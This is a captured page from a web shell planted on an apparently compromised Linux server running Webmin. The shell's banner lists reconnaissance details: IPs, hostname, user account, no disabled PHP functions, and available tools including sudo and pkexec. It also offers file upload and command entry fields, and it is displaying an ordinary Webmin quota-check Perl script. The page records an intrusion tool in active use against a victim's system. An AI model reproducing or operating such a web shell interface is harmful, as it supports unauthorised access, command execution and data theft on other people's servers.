403Webshell
Server IP : 104.21.25.180  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/webmin/virtual-server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/webmin/virtual-server/quotacheck.cgi
#!/usr/bin/perl
# Actually check quotas

require './virtual-server-lib.pl';
&can_edit_templates() || &error($text{'newquotacheck_ecannot'});
&ReadParse();
&ui_print_unbuffered_header(undef, $text{'newquotacheck_title'}, "");

# Validate inputs
push(@quotafs, "home") if (&has_home_quotas() && $in{'home'});
push(@quotafs, "mail") if (&has_mail_quotas() && $in{'mail'});
@quotafs || &error($text{'newquotacheck_enone'});

# Run the checks
&require_useradmin();
foreach $fs (@quotafs) {
	$dir = $config{$fs.'_quotas'};
	if ($in{'who'} == 0 || $in{'who'} == 2) {
		# Check users
		&$first_print(&text('newquotacheck_udoing', "<tt>$dir</tt>"));
		$out = &quota::quotacheck($dir, 1);
		print "<pre>$out</pre>";
		&$second_print($text{'setup_done'});
		}
	if ($in{'who'} == 1 || $in{'who'} == 2) {
		# Check groups
		&$first_print(&text('newquotacheck_gdoing', "<tt>$dir</tt>"));
		$out = &quota::quotacheck($dir, 2);
		print "<pre>$out</pre>";
		&$second_print($text{'setup_done'});
		}
	}

&run_post_actions();
&webmin_log("quotacheck");
&ui_print_footer("", $text{'index_return'});


Youez - 2016 - github.com/yon3zu
LinuXploit